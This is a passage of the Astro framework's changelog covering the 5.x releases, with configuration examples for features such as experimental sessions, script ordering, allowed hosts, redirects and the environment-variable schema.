        background: red;
      }
    </style>
    <style>
      body {
        background: yellow;
      }
    </style>
    

    Once the project is compiled, Astro will create an inline style where yellow appears first, and then red. Ultimately, the red background is applied:

    body {
      background: #ff0;
    }
    body {
      background: red;
    }
    

    When experimental.preserveScriptOrder is set to true, the order of the two styles is kept as it is, and in the style generated red appears first, and then yellow:

    body {
      background: red;
    }
    body {
      background: #ff0;
    }
    

    This is a breaking change to how Astro renders project code that contains multiple <style> and <script> tags in the same component. If you were previously compensating for Astro's behavior by writing these out of order, you will need to update your code.

    This will eventually become the new default Astro behavior, so we encourage you to add this experimental style and script ordering as soon as you are able! This will help us test the new behavior and ensure your code is ready when this becomes the new normal.

    For more information as this feature develops, please see the experimental script order docs.

  • #​13352 cb886dc Thanks @​delucis! - Adds support for a new experimental.headingIdCompat flag

    By default, Astro removes a trailing - from the end of IDs it generates for headings ending with
    special characters. This differs from the behavior of common Markdown processors.

    You can now disable this behavior with a new configuration flag:

    // astro.config.mjs
    import { defineConfig } from 'astro/config';
    
    export default defineConfig({
      experimental: {
        headingIdCompat: true,
      },
    });
    

    This can be useful when heading IDs and anchor links need to behave consistently across your site
    and other platforms such as GitHub and npm.

    If you are using the rehypeHeadingIds plugin directly, you can also pass this new option:

    // astro.config.mjs
    import { defineConfig } from 'astro/config';
    import { rehypeHeadingIds } from '@&#8203;astrojs/markdown-remark';
    import { otherPluginThatReliesOnHeadingIDs } from 'some/plugin/source';
    
    export default defineConfig({
      markdown: {
        rehypePlugins: [
          [rehypeHeadingIds, { experimentalHeadingIdCompat: true }],
          otherPluginThatReliesOnHeadingIDs,
        ],
      },
    });
    
  • #​13311 a3327ff Thanks @​chrisirhc! - Adds a new configuration option for Markdown syntax highlighting excludeLangs

    This option provides better support for diagramming tools that rely on Markdown code blocks, such as Mermaid.js and D2 by allowing you to exclude specific languages from Astro's default syntax highlighting.

    This option allows you to avoid rendering conflicts with tools that depend on the code not being highlighted without forcing you to disable syntax highlighting for other code blocks.

    The following example configuration will exclude highlighting for mermaid and math code blocks:

    import { defineConfig } from 'astro/config';
    
    export default defineConfig({
      markdown: {
        syntaxHighlight: {
          type: 'shiki',
          excludeLangs: ['mermaid', 'math'],
        },
      },
    });
    

    Read more about this new option in the Markdown syntax highlighting configuration docs.

Patch Changes

v5.4.3

Compare Source

Patch Changes

v5.4.2

Compare Source

Patch Changes

v5.4.1

Compare Source

Patch Changes
  • #​13336 8f632ef Thanks @​ematipico! - Fixes a regression where some asset utilities were move across monorepo, and not re-exported anymore.

  • #​13320 b5dabe9 Thanks @​{! - Adds support for typing experimental session data

    You can add optional types to your session data by creating a src/env.d.ts file in your project that extends the global App.SessionData interface. For example:

    declare namespace App {
      interface SessionData {
    
          id: string;
          email: string;
        };
        lastLogin: Date;
      }
    }
    

    Any keys not defined in this interface will be treated as any.

    Then when you access Astro.session in your components, any defined keys will be typed correctly:

    ---
    const user = await Astro.session.get('user');
    //    ^? const: user: { id: string; email: string; } | undefined
    
    const something = await Astro.session.get('something');
    //    ^? const: something: any
    
    Astro.session.set('user', 1);
    //    ^? Argument of type 'number' is not assignable to parameter of type '{ id: string; email: string; }'.
    ---
    

    See the experimental session docs for more information.

  • #​13330 5e7646e Thanks @​ematipico! - Fixes an issue with the conditional rendering of scripts.

    This change updates a v5.0 breaking change when experimental.directRenderScript became the default script handling behavior.

    If you have already successfully upgraded to Astro v5, you may need to review your script tags again and make sure they still behave as desired after this release. See the v5 Upgrade Guide for more details.

v5.4.0

Compare Source

Minor Changes
Config helpers

Two new helper functions exported from astro/config:

  • mergeConfig() allows users to merge partially defined Astro configurations on top of a base config while following the merge rules of updateConfig() available for integrations.
  • validateConfig() allows users to validate that a given value is a valid Astro configuration and fills in default values as necessary.

These helpers are particularly useful for integration authors and for developers writing scripts that need to manipulate Astro configurations programmatically.

Programmatic build

The build API now receives a second optional BuildOptions argument where users can specify:

  • devOutput (default false): output a development-based build similar to code transformed in astro dev.
  • teardownCompiler (default true): teardown the compiler WASM instance after build.

These options provide more control when running Astro builds programmatically, especially for testing scenarios or custom build pipelines.

  • #​13278 4a43c4b Thanks @​ematipico! - Adds a new configuration option server.allowedHosts and CLI option --allowed-hosts.

    Now you can specify the hostnames that the dev and preview servers are allowed to respond to. This is useful for allowing additional subdomains, or running the dev server in a web container.

    allowedHosts checks the Host header on HTTP requests from browsers and if it doesn't match, it will reject the request to prevent CSRF and XSS attacks.

    astro dev --allowed-hosts=foo.bar.example.com,bar.example.com
    
    astro preview --allowed-hosts=foo.bar.example.com,bar.example.com
    
    // astro.config.mjs
    import { defineConfig } from 'astro/config';
    
    export default defineConfig({
      server: {
        allowedHosts: ['foo.bar.example.com', 'bar.example.com'],
      },
    });
    

    This feature is the same as Vite's server.allowHosts configuration.

  • #​13254 1e11f5e Thanks @​p0lyw0lf! - Adds the ability to process and optimize remote images in Markdown files

    Previously, Astro only allowed local images to be optimized when included using ![]() syntax in plain Markdown files. Astro's image service could only display remote images without any processing.

    Now, Astro's image service can also optimize remote images written in standard Markdown syntax. This allows you to enjoy the benefits of Astro's image processing when your images are stored externally, for example in a CMS or digital asset manager.

    No additional configuration is required to use this feature! Any existing remote images written in Markdown will now automatically be optimized. To opt-out of this processing, write your images in Markdown using the HTML <img> tag instead. Note that images located in your public/ folder are still never processed.

Patch Changes
  • #​13256 509fa67 Thanks @​p0lyw0lf! - Adds experimental responsive image support in Markdown

    Previously, the experimental.responsiveImages feature could only provide responsive images when using the <Image /> and <Picture /> components.

    Now, images written with the ![]() Markdown syntax in Markdown and MDX files will generate responsive images by default when using this experimental feature.

    To try this experimental feature, set experimental.responsiveImages to true in your astro.config.mjs file:

    {
       experimental: {
          responsiveImages: true,
       },
    }
    

    Learn more about using this feature in the experimental responsive images feature reference.

    For a complete overview, and to give feedback on this experimental API, see the Responsive Images RFC.

  • #​13323 80926fa Thanks @​ematipico! - Updates esbuild and vite to the latest to avoid false positives audits warnings caused by esbuild.

  • #​13313 9e7c71d Thanks @​martrapp! - Fixes an issue where a form field named "attributes" shadows the form.attributes property.

  • #​12052 5be12b2 Thanks @​Fryuni! - Fixes incorrect config update when calling updateConfig from astro:build:setup hook.

    The function previously called a custom update config function made for merging an Astro config. Now it calls the appropriate mergeConfig() utility exported by Vite that updates functional options correctly.

  • #​13303 5f72a58 Thanks @​ematipico! - Fixes an issue where the dev server was applying second decoding of the URL of the incoming request, causing issues for certain URLs.

  • Updated dependencies [1e11f5e, 1e11f5e]:

v5.3.1

Compare Source

Patch Changes
  • #​13233 32fafeb Thanks @​joshmkennedy! - Ensures consistent behaviour of Astro.rewrite/ctx.rewrite when using base and trailingSlash options.

  • #​13003 ea79054 Thanks @​chaegumi! - Fixes a bug that caused the vite.base value to be ignored when running astro dev

  • #​13299 2e1321e Thanks @​bluwy! - Uses tinyglobby for globbing files

  • #​13233 32fafeb Thanks @​joshmkennedy! - Ensures that Astro.url/ctx.url is correctly updated with the base path after rewrites.

    This change fixes an issue where Astro.url/ctx.url did not include the configured base path after Astro.rewrite was called. Now, the base path is correctly reflected in Astro.url.

    Previously, any rewrites performed through Astro.rewrite/ctx.rewrite failed to append the base path to Astro.url/ctx.rewrite, which could lead to incorrect URL handling in downstream logic. By fixing this, we ensure that all routes remain consistent and predictable after a rewrite.

    If you were relying on the workaround of including the base path in astro.rewrite you can now remove it from the path.

v5.3.0

Compare Source

Minor Changes
  • #​13210 344e9bc Thanks @​VitaliyR! - Handle HEAD requests to an endpoint when a handler is not defined.

    If an endpoint defines a handler for GET, but does not define a handler for HEAD, Astro will call the GET handler and return the headers and status but an empty body.

  • #​13195 3b66955 Thanks @​MatthewLymer! - Improves SSR performance for synchronous components by avoiding the use of Promises. With this change, SSR rendering of on-demand pages can be up to 4x faster.

  • #​13145 8d4e566 Thanks @​ascorbic! - Adds support for adapters auto-configuring experimental session storage drivers.

    Adapters can now configure a default session storage driver when the experimental.session flag is enabled. If a hosting platform has a storage primitive that can be used for session storage, the adapter can automatically configure the session storage using that driver. This allows Astro to provide a more seamless experience for users who want to use sessions without needing to manually configure the session storage.

Patch Changes
  • #​13145 8d4e566 Thanks @​ascorbic! - ⚠️ BREAKING CHANGE FOR EXPERIMENTAL SESSIONS ONLY ⚠️

    Changes the experimental.session option to a boolean flag and moves session config to a top-level value. This change is to allow the new automatic session driver support. You now need to separately enable the experimental.session flag, and then configure the session driver using the top-level session key if providing manual configuration.

    defineConfig({
      // ...
      experimental: {
    -    session: {
    -      driver: 'upstash',
    -    },
    +    session: true,
      },
    +  session: {
    +    driver: 'upstash',
    +  },
    });
    

    You no longer need to configure a session driver if you are using an adapter that supports automatic session driver configuration and wish to use its default settings.

    defineConfig({
      adapter: node({
        mode: "standalone",
      }),
      experimental: {
    -    session: {
    -      driver: 'fs',
    -      cookie: 'astro-cookie',
    -    },
    +    session: true,
      },
    +  session: {
    +    cookie: 'astro-cookie',
    +  },
    });
    

    However, you can still manually configure additional driver options or choose a non-default driver to use with your adapter with the new top-level session config option. For more information, see the experimental session docs.

  • #​13101 2ed67d5 Thanks @​corneliusroemer! - Fixes a bug where HEAD and OPTIONS requests for non-prerendered pages were incorrectly rejected with 403 FORBIDDEN

v5.2.6

Compare Source

Patch Changes

v5.2.5

Compare Source

Patch Changes
  • #​13133 e76aa83 Thanks @​ematipico! - Fixes a bug where Astro was failing to build an external redirect when the middleware was triggered

  • #​13119 ac43580 Thanks @​Hacksore! - Adds extra guidance in the terminal when using the astro add tailwind CLI command

    Now, users are given a friendly reminder to import the stylesheet containing their Tailwind classes into any pages where they want to use Tailwind. Commonly, this is a shared layout component so that Tailwind styling can be used on multiple pages.

v5.2.4

Compare Source

Patch Changes

v5.2.3

Compare Source

Patch Changes
  • #​13113 3a26e45 Thanks @​unprintable123! - Fixes the bug that rewrite will pass encoded url to the dynamic routing and cause params mismatch.

  • #​13111 23978dd Thanks @​ascorbic! - Fixes a bug that caused injected endpoint routes to return not found when trailingSlash was set to always

  • #​13112 0fa5c82 Thanks @​ematipico! - Fixes a bug where the i18n middleware was blocking a server island request when the prefixDefaultLocale option is set to true

v5.2.2

Compare Source

Patch Changes

v5.2.1

Compare Source

Patch Changes
  • #​13095 740eb60 Thanks @​ascorbic! - Fixes a bug that caused some dev server asset requests to return 404 when trailingSlash was set to "always"

v5.2.0

Compare Source

Minor Changes
  • #​12994 5361755 Thanks @​ascorbic! - Redirects trailing slashes for on-demand pages

    When the trailingSlash option is set to always or never, on-demand rendered pages will now redirect to the correct URL when the trailing slash doesn't match the configuration option. This was previously the case for static pages, but now works for on-demand pages as well.

    Now, it doesn't matter whether your visitor navigates to /about/, /about, or even /about///. In production, they'll always end up on the correct page. For GET requests, the redirect will be a 301 (permanent) redirect, and for all other request methods, it will be a 308 (permanent, and preserve the request method) redirect.

    In development, you'll see a helpful 404 page to alert you of a trailing slash mismatch so you can troubleshoot routes.

  • #​12979 e621712 Thanks @​ematipico! - Adds support for redirecting to external sites with the redirects configuration option.

    Now, you can redirect routes either internally to another path or externally by providing a URL beginning with http or https:

    // astro.config.mjs
    import { defineConfig } from 'astro/config';
    
    export default defineConfig({
      redirects: {
        '/blog': 'https://example.com/blog',
        '/news': {
          status: 302,
          destination: 'https://example.com/news',
        },
      },
    });
    
  • #​13084 0f3be31 Thanks @​ematipico! - Adds a new experimental virtual module astro:config that exposes a type-safe subset of your astro.config.mjs configuration

    The virtual module exposes two sub-paths for controlled access to your configuration:

    • astro:config/client: exposes config information that is safe to expose to the client.
    • astro:config/server: exposes additional information that is safe to expose to the server, such as file/dir paths.

    To enable this new virtual module, add the experimental.serializeManifest feature flag to your Astro config:

    // astro.config.mjs
    import { defineConfig } from 'astro/config';
    export default defineConfig({
      experimental: {
        serializeManifest: true,
      },
    });
    

    Then, you can access the module in any file inside your project to import and use values from your Astro config:

    // src/utils.js
    import { trailingSlash } from 'astro:config/client';
    
    function addForwardSlash(path) {
      if (trailingSlash === 'always') {
        return path.endsWith('/') ? path : path + '/';
      } else {
        return path;
      }
    }
    

    For a complete overview, and to give feedback on this experimental API, see the Serialized Manifest RFC.

Patch Changes

v5.1.10

Compare Source

Patch Changes

v5.1.9

Compare Source

Patch Changes

v5.1.8

Compare Source

Patch Changes

v5.1.7

Compare Source

Patch Changes

v5.1.6

Compare Source

Patch Changes

v5.1.5

Compare Source

Patch Changes
  • #​12934 673a518 Thanks @​ematipico! - Fixes a regression where the Astro Container didn't work during the build, using pnpm

  • #​12955 db447f2 Thanks @​martrapp! - Lets TypeScript know about the "blocking" and "disabled" attributes of the <link> element.

  • #​12922 faf74af Thanks @​adamchal! - Improves performance of static asset generation by fixing a bug that caused image transforms to be performed serially. This fix ensures that processing uses all CPUs when running in a multi-core environment.

  • #​12947 3c2292f Thanks @​ascorbic! - Fixes a bug that caused empty content collections when running dev with NODE_ENV set

v5.1.4

Compare Source

Patch Changes
  • #​12927 ad2a752 Thanks @​ematipico! - Fixes a bug where Astro attempted to decode a request URL multiple times, resulting in an unexpected behaviour when decoding the character %

  • #​12912 0c0c66b Thanks @​florian-lefebvre! - Improves the config error for invalid combinations of context and access properties under env.schema

  • #​12935 3d47e6b Thanks @​AirBorne04! - Fixes an issue where Astro.locals coming from an adapter weren't available in the 404.astro, when using the astro dev command,

  • #​12925 44841fc Thanks @​ascorbic! - Ensures image styles are not imported unless experimental responsive images are enabled

  • #​12926 8e64bb7 Thanks @​oliverlynch! - Improves remote image cache efficiency by separating image data and metadata into a binary and sidecar JSON file.

  • #​12920 8b9d530 Thanks @​bluwy! - Processes markdown with empty body as remark and rehype plugins may add additional content or frontmatter

  • #​12918 fd12a26 Thanks @​lameuler! - Fixes a bug where the logged output path does not match the actual output path when using build.format: 'preserve'

  • #​12676 2ffc0fc Thanks @​koyopro! - Allows configuring Astro modules TypeScript compilation with the vite.esbuild config

  • #​12938 dbb04f3 Thanks @​ascorbic! - Fixes a bug where content collections would sometimes appear empty when first running astro dev

  • #​12937 30edb6d Thanks @​ematipico! - Fixes a bug where users could use Astro.request.headers during a rewrite inside prerendered routes. This an invalid behaviour, and now Astro will show a warning if this happens.

  • #​12937 30edb6d Thanks @​ematipico! - Fixes an issue where the use of Astro.rewrite would trigger the invalid use of Astro.request.headers

v5.1.3

Compare Source

Patch Changes

v5.1.2

Compare Source

Patch Changes
  • #​12798 7b0cb85 Thanks @​ascorbic! - Improves warning logs for invalid content collection configuration

  • #​12781 96c4b92 Thanks @​ascorbic! - Fixes a regression that caused default() to not work with reference()

  • #​12820 892dd9f Thanks @​ascorbic! - Fixes a bug that caused cookies to not be deleted when destroying a session

  • #​12864 440d8a5 Thanks @​kaytwo! - Fixes a bug where the session ID wasn't correctly regenerated

  • #​12768 524c855 Thanks @​ematipico! - Fixes an issue where Astro didn't print error logs when Astro Islands were used in incorrect cases.

  • #​12814 f12f111 Thanks @​ematipico! - Fixes an issue where Astro didn't log anything in case a file isn't created during the build.

  • #​12875 e109002 Thanks @​ascorbic! - Fixes a bug in emulated legacy collections where the entry passed to the getCollection filter function did not include the legacy entry fields.

  • #​12768 524c855 Thanks @​ematipico! - Fixes an issue where Astro was printing the incorrect output format when running the astro build command

  • #​12810 70a9f0b Thanks @​louisescher! - Fixes server islands failing to check content-type header under certain circumstances

    Sometimes a reverse proxy or similar service might modify the content-type header to include the charset or other parameters in the media type of the response. This previously wasn't handled by the client-side server island script and thus removed the script without actually placing the requested content in the DOM. This fix makes it so the script checks if the header starts with the proper content type instead of exactly matching text/html, so the following will still be considered a valid header: text/html; charset=utf-8

  • #​12816 7fb2184 Thanks @​ematipico! - Fixes an issue where an injected route entrypoint wasn't correctly marked because the resolved file path contained a query parameter.

    This fixes some edge case where some injected entrypoint were not resolved when using an adapter.

v5.1.1

Compare Source

Patch Changes

v5.1.0

Compare Source

Minor Changes
  • #​12441 b4fec3c Thanks @​ascorbic! - Adds experimental session support

    Sessions are used to store user state between requests for server-rendered pages, such as login status, shopping cart contents, or other user-specific data.

    ---
    export const prerender = false; // Not needed in 'server' mode
    const cart = await Astro.session.get('cart');
    ---
    
    <a href="/checkout">🛒 {cart?.length ?? 0} items</a>
    

    Sessions are available in on-demand rendered/SSR pages, API endpoints, actions and middleware. To enable session support, you must configure a storage driver.

    If you are using the Node.js adapter, you can use the fs driver to store session data on the filesystem:

    // astro.config.mjs
    {
      adapter: node({ mode: 'standalone' }),
      experimental: {
        session: {
          // Required: the name of the unstorage driver
          driver: "fs",
        },
      },
    }
    

    If you are deploying to a serverless environment, you can use drivers such as redis, netlify-blobs, vercel-kv, or cloudflare-kv-binding and optionally pass additional configuration options.

    For more information, including using the session API with other adapters and a full list of supported drivers, see the docs for experimental session support. For even more details, and to leave feedback and participate in the development of this feature, the Sessions RFC.

  • #​12426 3dc02c5 Thanks @​oliverlynch! - Improves asset caching of remote images

    Astro will now store entity tags and the Last-Modified date for cached remote images and use them to revalidate the cache when it goes stale.

  • #​12721 c9d5110 Thanks @​florian-lefebvre! - Adds a new getActionPath() helper available from astro:actions

    Astro 5.1 introduces a new helper function, getActionPath() to give you more flexibility when calling your action.

    Calling getActionPath() with your action returns its URL path so you can make a fetch() request with custom headers, or use your action with an API such as navigator.sendBeacon(). Then, you can handle the custom-formatted returned data as needed, just as if you had called an action directly.

    This example shows how to call a defined like action passing the Authorization header and the keepalive option:

    <script>
      // src/components/my-component.astro
      import { actions, getActionPath } from 'astro:actions';
    
      await fetch(getActionPath(actions.like), {
        method: 'POST',
        headers: {
          'Content-Type': 'application/json',
          Authorization: 'Bearer YOUR_TOKEN',
        },
        body: JSON.stringify({ id: 'YOUR_ID' }),
        keepalive: true,
      });
    </script>
    

    This example shows how to call the same like action using the sendBeacon API:

    <script>
      // src/components/my-component.astro
      import { actions, getActionPath } from 'astro:actions';
    
      navigator.sendBeacon(
        getActionPath(actions.like),
        new Blob([JSON.stringify({ id: 'YOUR_ID' })], {
          type: 'application/json',
        }),
      );
    </script>
    
Patch Changes

v5.0.9

Compare Source

Patch Changes

v5.0.8

Compare Source

Patch Changes

v5.0.7

Compare Source

Patch Changes

v5.0.6

Compare Source

Patch Changes

v5.0.5

Compare Source

Patch Changes

v5.0.4

Compare Source

Patch Changes

v5.0.3

Compare Source

Patch Changes
  • #​12645 8704c54 Thanks @​sarah11918! - Updates some reference links in error messages for new v5 docs.

  • #​12641 48ca399 Thanks @​ascorbic! - Fixes a bug where astro info --copy wasn't working correctly on macOS systems.

  • #​12461 62939ad Thanks @​kyr0! - Removes the misleading log message telling that a custom renderer is not recognized while it clearly is and works.

  • #​12642 ff18b9c Thanks @​ematipico! - Provides more information when logging a warning for accessing Astro.request.headers in prerendered pages

  • #​12634 03958d9 Thanks @​delucis! - Improves error message formatting for user config and content collection frontmatter

  • #​12547 6b6e18d Thanks @​mtwilliams-code! - Fixes a bug where URL search parameters weren't passed when using the i18n fallback feature.

  • #​12449 e6b8017 Thanks @​apatel369! - Fixes an issue where the custom assetFileNames configuration caused assets to be incorrectly moved to the server directory instead of the client directory, resulting in 404 errors when accessed from the client side.

  • #​12518 e216250 Thanks @​ematipico! - Fixes an issue where SSR error pages would return duplicated custom headers.

  • #​12625 74bfad0 Thanks @​ematipico! - Fixes an issue where the experimental.svg had incorrect type, resulting in some errors in the editors.

  • #​12631 dec0305 Thanks @​ascorbic! - Fixes a bug where the class attribute was rendered twice on the image component

  • #​12623 0e4fecb Thanks @​ascorbic! - Correctly handles images in content collections with uppercase file extensions

  • #​12633 8a551c1 Thanks @​bluwy! - Cleans up content layer sync during builds and programmatic sync() calls

  • #​12640 22e405a Thanks @​ascorbic! - Fixes a bug that caused content collections to be returned empty when run in a test environment

  • #​12613 306c9f9 Thanks @​matthewp! - Fix use of cloned requests in middleware with clientAddress

    When using context.clientAddress or Astro.clientAddress Astro looks up the address in a hidden property. Cloning a request can cause this hidden property to be lost.

    The fix is to pass the address as an internal property instead, decoupling it from the request.

v5.0.2

Compare Source

Patch Changes

v5.0.1

Compare Source

Patch Changes

v5.0.0

Compare Source

Major Changes
  • #​11798 e9e2139 Thanks @​matthewp! - Unflag globalRoutePriority

    The previously experimental feature globalRoutePriority is now the default in Astro 5.

    This was a refactoring of route prioritization in Astro, making it so that injected routes, file-based routes, and redirects are all prioritized using the same logic. This feature has been enabled for all Starlight projects since it was added and should not affect most users.

  • #​11864 ee38b3a Thanks @​ematipico! - ### [changed]: entryPoint type inside the hook astro:build:ssr
    In Astro v4.x, the entryPoint type was RouteData.

    Astro v5.0 the entryPoint type is IntegrationRouteData, which contains a subset of the RouteData type. The fields isIndex and fallbackRoutes were removed.

What should I do?

Update your adapter to change the type of entryPoint from RouteData to IntegrationRouteData.

-import type {RouteData} from 'astro';
+import type {IntegrationRouteData} from "astro"

-function useRoute(route: RouteData) {
+function useRoute(route: IntegrationRouteData) {

}
  • #​12524 9f44019 Thanks @​bluwy! - Bumps Vite to ^6.0.1 and handles its breaking changes

  • #​10742 b6fbdaa Thanks @​ematipico! - The lowest version of Node supported by Astro is now Node v18.17.1 and higher.

  • #​11916 46ea29f Thanks @​bluwy! - Updates how the build.client and build.server option values get resolved to match existing documentation. With this fix, the option values will now correctly resolve relative to the outDir option. So if outDir is set to ./dist/nested/, then by default:

    • build.client will resolve to <root>/dist/nested/client/
    • build.server will resolve to <root>/dist/nested/server/

    Previously the values were incorrectly resolved:

    • build.client was resolved to <root>/dist/nested/dist/client/
    • build.server was resolved to <root>/dist/nested/dist/server/

    If you were relying on the previous build paths, make sure that your project code is updated to the new build paths.

  • #​11982 d84e444 Thanks @​Princesseuh! - Adds a default exclude and include value to the tsconfig presets. {projectDir}/dist is now excluded by default, and {projectDir}/.astro/types.d.ts and {projectDir}/**/* are included by default.

    Both of these options can be overridden by setting your own values to the corresponding settings in your tsconfig.json file.

  • #​11861 3ab3b4e Thanks @​bluwy! - Cleans up Astro-specific metadata attached to vfile.data in Remark and Rehype plugins. Previously, the metadata was attached in different locations with inconsistent names. The metadata is now renamed as below:

    • vfile.data.__astroHeadings -> vfile.data.astro.headings
    • vfile.data.imagePaths -> vfile.data.astro.imagePaths

    The types of imagePaths has also been updated from Set<string> to string[]. The vfile.data.astro.frontmatter metadata is left unchanged.

    While we don't consider these APIs public, they can be accessed by Remark and Rehype plugins that want to re-use Astro's metadata. If you are using these APIs, make sure to access them in the new locations.

  • #​11987 bf90a53 Thanks @​florian-lefebvre! - The locals object can no longer be overridden

    Middleware, API endpoints, and pages can no longer override the locals object in its entirety. You can still append values onto the object, but you cannot replace the entire object and delete its existing values.

    If you were previously overwriting like so:

    ctx.locals = {
      one: 1,
      two: 2,
    };
    

    This can be changed to an assignment on the existing object instead:

    Object.assign(ctx.locals, {
      one: 1,
      two: 2,
    });
    
  • #​11908 518433e Thanks @​Princesseuh! - The image.endpoint config now allow customizing the route of the image endpoint in addition to the entrypoint. This can be useful in niche situations where the default route /_image conflicts with an existing route or your local server setup.

    import { defineConfig } from 'astro/config';
    
    defineConfig({
      image: {
        endpoint: {
          route: '/image',
          entrypoint: './src/image_endpoint.ts',
        },
      },
    });
    
  • #​12008 5608338 Thanks @​Princesseuh! - Welcome to the Astro 5 beta! This release has no changes from the latest alpha of this package, but it does bring us one step closer to the final, stable release.

    Starting from this release, no breaking changes will be introduced unless absolutely necessary.

    To learn how to upgrade, check out the Astro v5.0 upgrade guide in our beta docs site.

  • #​11679 ea71b90 Thanks @​florian-lefebvre! - The astro:env feature introduced behind a flag in v4.10.0 is no longer experimental and is available for general use. If you have been waiting for stabilization before using astro:env, you can now do so.

    This feature lets you configure a type-safe schema for your environment variables, and indicate whether they should be available on the server or the client.

    To configure a schema, add the env option to your Astro config and define your client and server variables. If you were previously using this feature, please remove the experimental flag from your Astro config and move your entire env configuration unchanged to a top-level option.

    import { defineConfig, envField } from 'astro/config';
    
    export default defineConfig({
      env: {
        schema: {
          API_URL: envField.string({ context: 'client', access: 'public', optional: true }),
          PORT: envField.number({ context: 'server', access: 'public', default: 4321 }),
          API_SECRET: envField.string({ context: 'server', access: 'secret' }),
        },
      },
    });
    

    You can import and use your defined variables from the appropriate /client or /server module:

    ---
    import { API_URL } from 'astro:env/client';
    import { API_SECRET_TOKEN } from 'astro:env/server';
    
    const data = await fetch(`${API_URL}/users`, {
      method: 'GET',
      headers: {
        'Content-Type': 'application/json',
        Authorization: `Bearer ${API_SECRET_TOKEN}`,
      },
    });
    ---
    
    <script>
      import { API_URL } from 'astro:env/client';
    
      fetch(`${API_URL}/ping`);
    </script>
    

    Please see our guide to using environment variables for more about this feature.

  • #​11806 f7f2338 Thanks @​Princesseuh! - Removes the assets property on supportedAstroFeatures for adapters, as it did not reflect reality properly in many cases.

    Now, relating to assets, only a single sharpImageService property is available, determining if the adapter is compatible with the built-in sharp image service.

  • #​11864 ee38b3a Thanks @​ematipico! - ### [changed]: routes type inside the hook astro:build:done
    In Astro v4.x, the routes type was RouteData.

    Astro v5.0 the routes type is IntegrationRouteData, which contains a subset of the RouteData type. The fields isIndex and fallbackRoutes were removed.

What should I do?

Update your adapter to change the type of routes from RouteData to IntegrationRouteData.

-import type {RouteData} from 'astro';
+import type {IntegrationRouteData} from "astro"

-function useRoute(route: RouteData) {
+function useRoute(route: IntegrationRouteData) {

}
  • #​11941 b6a5f39 Thanks @​Princesseuh! - Merges the output: 'hybrid' and output: 'static' configurations into one single configuration (now called 'static') that works the same way as the previous hybrid option.

    It is no longer necessary to specify output: 'hybrid' in your Astro config to use server-rendered pages. The new output: 'static' has this capability included. Astro will now automatically provide the ability to opt out of prerendering in your static site with no change to your output configuration required. Any page route or endpoint can include export const prerender = false to be server-rendered, while the rest of your site is statically-generated.

    If your project used hybrid rendering, you must now remove the output: 'hybrid' option from your Astro config as it no longer exists. However, no other changes to your project are required, and you should have no breaking changes. The previous 'hybrid' behavior is now the default, under a new name 'static'.

    If you were using the output: 'static' (default) option, you can continue to use it as before. By default, all of your pages will continue to be prerendered and you will have a completely static site. You should have no breaking changes to your project.

    import { defineConfig } from "astro/config";
    
    export default defineConfig({
    -  output: 'hybrid',
    });
    

    An adapter is still required to deploy an Astro project with any server-rendered pages. Failure to include an adapter will result in a warning in development and an error at build time.

  • #​11788 7c0ccfc Thanks @​ematipico! - Updates the default value of security.checkOrigin to true, which enables Cross-Site Request Forgery (CSRF) protection by default for pages rendered on demand.

    If you had previously configured security.checkOrigin: true, you no longer need this set in your Astro config. This is now the default and it is safe to remove.

    To disable this behavior and opt out of automatically checking that the “origin” header matches the URL sent by each request, you must explicitly set security.checkOrigin: false:

    export default defineConfig({
    +  security: {
    +    checkOrigin: false
    +  }
    })
    
  • #​11825 560ef15 Thanks @​bluwy! - Updates internal Shiki rehype plugin to highlight code blocks as hast (using Shiki's codeToHast() API). This allows a more direct Markdown and MDX processing, and improves the performance when building the project, but may cause issues with existing Shiki transformers.

    If you are using Shiki transformers passed to markdown.shikiConfig.transformers, you must make sure they do not use the postprocess hook as it no longer runs on code blocks in .md and .mdx files. (See the Shiki documentation on transformer hooks for more information).

    Code blocks in .mdoc files and <Code /> component do not use the internal Shiki rehype plugin and are unaffected.

  • #​11826 7315050 Thanks @​matthewp! - Deprecate Astro.glob

    The Astro.glob function has been deprecated in favor of Content Collections and import.meta.glob.

    Also consider using glob packages from npm, like fast-glob, especially if statically generating your site, as it is faster for most use-cases.

    The easiest path is to migrate to import.meta.glob like so:

    - const posts = Astro.glob('./posts/*.md');
    + const posts = Object.values(import.meta.glob('./posts/*.md', { eager: true }));
    
  • #​12268 4e9a3ac Thanks @​ematipico! - The command astro add vercel now updates the configuration file differently, and adds @astrojs/vercel as module to import.

    This is a breaking change because it requires the version 8.* of @astrojs/vercel.

  • #​11741 6617491 Thanks @​bluwy! - Removes internal JSX handling and moves the responsibility to the @astrojs/mdx package directly. The following exports are also now removed:

    • astro/jsx/babel.js
    • astro/jsx/component.js
    • astro/jsx/index.js
    • astro/jsx/renderer.js
    • astro/jsx/server.js
    • astro/jsx/transform-options.js

    If your project includes .mdx files, you must upgrade @astrojs/mdx to the latest version so that it doesn't rely on these entrypoints to handle your JSX.

  • #​11782 9a2aaa0 Thanks @​Princesseuh! - Makes the compiledContent property of Markdown content an async function, this change should fix underlying issues where sometimes when using a custom image service and images inside Markdown, Node would exit suddenly without any error message.

    ---
    import * as myPost from "../post.md";
    
    - const content = myPost.compiledContent();
    + const content = await myPost.compiledContent();
    ---
    
    <Fragment set:html={content} />
    
  • #​11819 2bdde80 Thanks @​bluwy! - Updates the Astro config loading flow to ignore processing locally-linked dependencies with Vite (e.g. npm link, in a monorepo, etc). Instead, they will be normally imported by the Node.js runtime the same way as other dependencies from node_modules.

    Previously, Astro would process locally-linked dependencies which were able to use Vite features like TypeScript when imported by the Astro config file.

    However, this caused confusion as integration authors may test against a package that worked locally, but not when published. This method also restricts using CJS-only dependencies because Vite requires the code to be ESM. Therefore, Astro's behaviour is now changed to ignore processing any type of dependencies by Vite.

    In most cases, make sure your locally-linked dependencies are built to JS before running the Astro project, and the config loading should work as before.

  • #​11827 a83e362 Thanks @​matthewp! - Prevent usage of astro:content in the client

    Usage of astro:content in the client has always been discouraged because it leads to all of your content winding up in your client bundle, and can possibly leaks secrets.

    This formally makes doing so impossible, adding to the previous warning with errors.

    In the future Astro might add APIs for client-usage based on needs.

  • #​11979 423dfc1 Thanks @​bluwy! - Bumps vite dependency to v6.0.0-beta.2. The version is pinned and will be updated as new Vite versions publish to prevent unhandled breaking changes. For the full list of Vite-specific changes, see its changelog.

  • #​11859 3804711 Thanks @​florian-lefebvre! - Changes the default tsconfig.json with better defaults, and makes src/env.d.ts optional

    Astro's default tsconfig.json in starter examples has been updated to include generated types and exclude your build output. This means that src/env.d.ts is only necessary if you have added custom type declarations or if you're not using a tsconfig.json file.

